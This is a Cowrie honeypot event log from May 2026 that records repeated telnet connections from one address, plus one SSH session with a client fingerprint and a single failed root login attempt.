{"eventid":"cowrie.session.closed","duration":31.73771071434021,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:49.176527Z","src_ip":"69.6.249.0","session":"79b5e8f030cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":43792,"dst_ip":"159.203.135.109","dst_port":23,"session":"a12076e97380","protocol":"telnet","message":"New connection: 69.6.249.0:43792 (159.203.135.109:23) [session: a12076e97380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:50.501212Z"}
{"eventid":"cowrie.session.closed","duration":30.81194543838501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:53.845540Z","src_ip":"69.6.249.0","session":"0795e409f976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":38004,"dst_ip":"159.203.135.109","dst_port":23,"session":"19bbdd59601f","protocol":"telnet","message":"New connection: 69.6.249.0:38004 (159.203.135.109:23) [session: 19bbdd59601f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:55.099095Z"}
{"eventid":"cowrie.session.closed","duration":31.204070329666138,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:55.494565Z","src_ip":"69.6.249.0","session":"10a0ebb02475","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09694218635559,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:56.873441Z","src_ip":"69.6.249.0","session":"d631835f6f0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":38020,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f37898f727a","protocol":"telnet","message":"New connection: 69.6.249.0:38020 (159.203.135.109:23) [session: 7f37898f727a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:57.679239Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":38028,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0c791d94d31","protocol":"telnet","message":"New connection: 69.6.249.0:38028 (159.203.135.109:23) [session: b0c791d94d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:58.635083Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":38040,"dst_ip":"159.203.135.109","dst_port":23,"session":"484760b73d04","protocol":"telnet","message":"New connection: 69.6.249.0:38040 (159.203.135.109:23) [session: 484760b73d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:59.581860Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":38046,"dst_ip":"159.203.135.109","dst_port":23,"session":"53108da404b7","protocol":"telnet","message":"New connection: 69.6.249.0:38046 (159.203.135.109:23) [session: 53108da404b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:59.853819Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":38054,"dst_ip":"159.203.135.109","dst_port":23,"session":"9efbcca94e5e","protocol":"telnet","message":"New connection: 69.6.249.0:38054 (159.203.135.109:23) [session: 9efbcca94e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:03.644613Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":40510,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2db92c9510f","protocol":"telnet","message":"New connection: 69.6.249.0:40510 (159.203.135.109:23) [session: d2db92c9510f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:11.134843Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":40522,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2d02fb43bab","protocol":"telnet","message":"New connection: 69.6.249.0:40522 (159.203.135.109:23) [session: b2d02fb43bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:12.331278Z"}
{"eventid":"cowrie.session.closed","duration":31.160151481628418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:15.730630Z","src_ip":"69.6.249.0","session":"664c3ab1c2d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":41374,"dst_ip":"159.203.135.109","dst_port":23,"session":"15b6b66aa284","protocol":"telnet","message":"New connection: 69.6.249.0:41374 (159.203.135.109:23) [session: 15b6b66aa284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:15.983469Z"}
{"eventid":"cowrie.session.closed","duration":32.39896559715271,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:16.618474Z","src_ip":"69.6.249.0","session":"e8ea0841aa12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":59746,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f31f94af341","protocol":"ssh","message":"New connection: 163.7.6.74:59746 (159.203.135.109:22) [session: 1f31f94af341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:17.557600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:17.561380Z","src_ip":"163.7.6.74","session":"1f31f94af341","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:17.815340Z","src_ip":"163.7.6.74","session":"1f31f94af341","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":41646,"dst_ip":"159.203.135.109","dst_port":23,"session":"99ec2db94c61","protocol":"telnet","message":"New connection: 69.6.249.0:41646 (159.203.135.109:23) [session: 99ec2db94c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:18.190443Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2021","message":"login attempt [root/server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:18.866372Z","src_ip":"163.7.6.74","session":"1f31f94af341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:20.127403Z","src_ip":"163.7.6.74","session":"1f31f94af341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.15800142288208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:21.659091Z","src_ip":"69.6.249.0","session":"a12076e97380","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":42344,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f1054567fd0","protocol":"telnet","message":"New connection: 69.6.249.0:42344 (159.203.135.109:23) [session: 4f1054567fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:23.571658Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":42242,"dst_ip":"159.203.135.109","dst_port":23,"session":"00682e5d42f7","protocol":"telnet","message":"New connection: 69.6.249.0:42242 (159.203.135.109:23) [session: 00682e5d42f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:23.805449Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":50740,"dst_ip":"159.203.135.109","dst_port":23,"session":"a334afa910fe","protocol":"telnet","message":"New connection: 69.6.249.0:50740 (159.203.135.109:23) [session: a334afa910fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:24.756778Z"}
{"eventid":"cowrie.session.closed","duration":31.599745273590088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:26.698720Z","src_ip":"69.6.249.0","session":"19bbdd59601f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.79988145828247,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:30.479029Z","src_ip":"69.6.249.0","session":"7f37898f727a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":50750,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc2756dd586a","protocol":"telnet","message":"New connection: 69.6.249.0:50750 (159.203.135.109:23) [session: bc2756dd586a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:30.570154Z"}
{"eventid":"cowrie.session.closed","duration":32.15781760215759,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:30.792783Z","src_ip":"69.6.249.0","session":"b0c791d94d31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.794073581695557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:31.375747Z","src_ip":"69.6.249.0","session":"484760b73d04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":50756,"dst_ip":"159.203.135.109","dst_port":23,"session":"521ff4a27a39","protocol":"telnet","message":"New connection: 69.6.249.0:50756 (159.203.135.109:23) [session: 521ff4a27a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:31.898811Z"}
{"eventid":"cowrie.session.closed","duration":32.227885007858276,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:32.081524Z","src_ip":"69.6.249.0","session":"53108da404b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":50772,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec5e4b2078e2","protocol":"telnet","message":"New connection: 69.6.249.0:50772 (159.203.135.109:23) [session: ec5e4b2078e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:33.032917Z"}
{"eventid":"cowrie.session.closed","duration":31.1881422996521,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:34.832627Z","src_ip":"69.6.249.0","session":"9efbcca94e5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":52620,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aea95591fe6","protocol":"telnet","message":"New connection: 69.6.249.0:52620 (159.203.135.109:23) [session: 9aea95591fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:35.305884Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":52624,"dst_ip":"159.203.135.109","dst_port":23,"session":"f09cfb6fe2e6","protocol":"telnet","message":"New connection: 69.6.249.0:52624 (159.203.135.109:23) [session: f09cfb6fe2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:38.815100Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":52636,"dst_ip":"159.203.135.109","dst_port":23,"session":"76e59bf73795","protocol":"telnet","message":"New connection: 69.6.249.0:52636 (159.203.135.109:23) [session: 76e59bf73795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:39.874899Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":52646,"dst_ip":"159.203.135.109","dst_port":23,"session":"542eeebf8643","protocol":"telnet","message":"New connection: 69.6.249.0:52646 (159.203.135.109:23) [session: 542eeebf8643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:41.258445Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":52660,"dst_ip":"159.203.135.109","dst_port":23,"session":"923de7af469e","protocol":"telnet","message":"New connection: 69.6.249.0:52660 (159.203.135.109:23) [session: 923de7af469e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:42.107408Z"}
{"eventid":"cowrie.session.closed","duration":32.11632800102234,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:43.251050Z","src_ip":"69.6.249.0","session":"d2db92c9510f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.399738073349,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:44.730895Z","src_ip":"69.6.249.0","session":"b2d02fb43bab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":34908,"dst_ip":"159.203.135.109","dst_port":23,"session":"443d56937b46","protocol":"telnet","message":"New connection: 69.6.249.0:34908 (159.203.135.109:23) [session: 443d56937b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:46.414638Z"}
{"eventid":"cowrie.session.closed","duration":31.875436067581177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:47.858799Z","src_ip":"69.6.249.0","session":"15b6b66aa284","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":34912,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9471e6c9fcd","protocol":"telnet","message":"New connection: 69.6.249.0:34912 (159.203.135.109:23) [session: a9471e6c9fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:48.365170Z"}
{"eventid":"cowrie.session.closed","duration":30.824060916900635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:49.014401Z","src_ip":"69.6.249.0","session":"99ec2db94c61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":34926,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c45662ff799","protocol":"telnet","message":"New connection: 69.6.249.0:34926 (159.203.135.109:23) [session: 7c45662ff799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:50.982248Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":34934,"dst_ip":"159.203.135.109","dst_port":23,"session":"726f2353037f","protocol":"telnet","message":"New connection: 69.6.249.0:34934 (159.203.135.109:23) [session: 726f2353037f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:51.608582Z"}
{"eventid":"cowrie.session.closed","duration":31.40718102455139,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:54.978672Z","src_ip":"69.6.249.0","session":"4f1054567fd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.046180963516235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:55.802846Z","src_ip":"69.6.249.0","session":"a334afa910fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":37622,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7ef9c6a56bd","protocol":"telnet","message":"New connection: 69.6.249.0:37622 (159.203.135.109:23) [session: d7ef9c6a56bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:56.307499Z"}
{"eventid":"cowrie.session.closed","duration":32.90409588813782,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:56.709448Z","src_ip":"69.6.249.0","session":"00682e5d42f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":37632,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4376d25859d","protocol":"telnet","message":"New connection: 69.6.249.0:37632 (159.203.135.109:23) [session: b4376d25859d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:34:56.966396Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":37638,"dst_ip":"159.203.135.109","dst_port":23,"session":"067498ea2bb0","protocol":"telnet","message":"New connection: 69.6.249.0:37638 (159.203.135.109:23) [session: 067498ea2bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:00.343194Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":37640,"dst_ip":"159.203.135.109","dst_port":23,"session":"52d981a06501","protocol":"telnet","message":"New connection: 69.6.249.0:37640 (159.203.135.109:23) [session: 52d981a06501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:01.207032Z"}
{"eventid":"cowrie.session.closed","duration":31.848385334014893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:02.418458Z","src_ip":"69.6.249.0","session":"bc2756dd586a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":37642,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9dcaac11792","protocol":"telnet","message":"New connection: 69.6.249.0:37642 (159.203.135.109:23) [session: b9dcaac11792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:03.436599Z"}
{"eventid":"cowrie.session.closed","duration":32.57589244842529,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:04.474590Z","src_ip":"69.6.249.0","session":"521ff4a27a39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":34870,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee27a644dadc","protocol":"telnet","message":"New connection: 69.6.249.0:34870 (159.203.135.109:23) [session: ee27a644dadc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:04.515959Z"}
{"eventid":"cowrie.session.closed","duration":32.344218254089355,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:05.377041Z","src_ip":"69.6.249.0","session":"ec5e4b2078e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":34884,"dst_ip":"159.203.135.109","dst_port":23,"session":"d599ebe03199","protocol":"telnet","message":"New connection: 69.6.249.0:34884 (159.203.135.109:23) [session: d599ebe03199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:05.779955Z"}
{"eventid":"cowrie.session.closed","duration":32.28318643569946,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:07.588709Z","src_ip":"69.6.249.0","session":"9aea95591fe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":34894,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ac8aa1cf4a2","protocol":"telnet","message":"New connection: 69.6.249.0:34894 (159.203.135.109:23) [session: 8ac8aa1cf4a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:08.992883Z"}
{"eventid":"cowrie.session.closed","duration":32.048758029937744,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:10.863724Z","src_ip":"69.6.249.0","session":"f09cfb6fe2e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97717547416687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:12.235504Z","src_ip":"69.6.249.0","session":"542eeebf8643","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.663047075271606,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:12.537854Z","src_ip":"69.6.249.0","session":"76e59bf73795","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.18402171134949,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:14.291332Z","src_ip":"69.6.249.0","session":"923de7af469e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":58308,"dst_ip":"159.203.135.109","dst_port":23,"session":"e480331f98ca","protocol":"telnet","message":"New connection: 69.6.249.0:58308 (159.203.135.109:23) [session: e480331f98ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:16.552599Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":58310,"dst_ip":"159.203.135.109","dst_port":23,"session":"29cb21d59ca6","protocol":"telnet","message":"New connection: 69.6.249.0:58310 (159.203.135.109:23) [session: 29cb21d59ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:17.378459Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":58326,"dst_ip":"159.203.135.109","dst_port":23,"session":"7153903f9888","protocol":"telnet","message":"New connection: 69.6.249.0:58326 (159.203.135.109:23) [session: 7153903f9888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:17.462054Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":58336,"dst_ip":"159.203.135.109","dst_port":23,"session":"e72b8c4265cf","protocol":"telnet","message":"New connection: 69.6.249.0:58336 (159.203.135.109:23) [session: e72b8c4265cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:19.688027Z"}
{"eventid":"cowrie.session.closed","duration":31.844003677368164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:20.209050Z","src_ip":"69.6.249.0","session":"a9471e6c9fcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.51888418197632,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:20.933413Z","src_ip":"69.6.249.0","session":"443d56937b46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":58342,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7ef7e167eab","protocol":"telnet","message":"New connection: 69.6.249.0:58342 (159.203.135.109:23) [session: d7ef7e167eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:21.734637Z"}
{"eventid":"cowrie.session.closed","duration":31.83771514892578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:22.819884Z","src_ip":"69.6.249.0","session":"7c45662ff799","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.712969064712524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:23.321452Z","src_ip":"69.6.249.0","session":"726f2353037f","protocol":"telnet"}
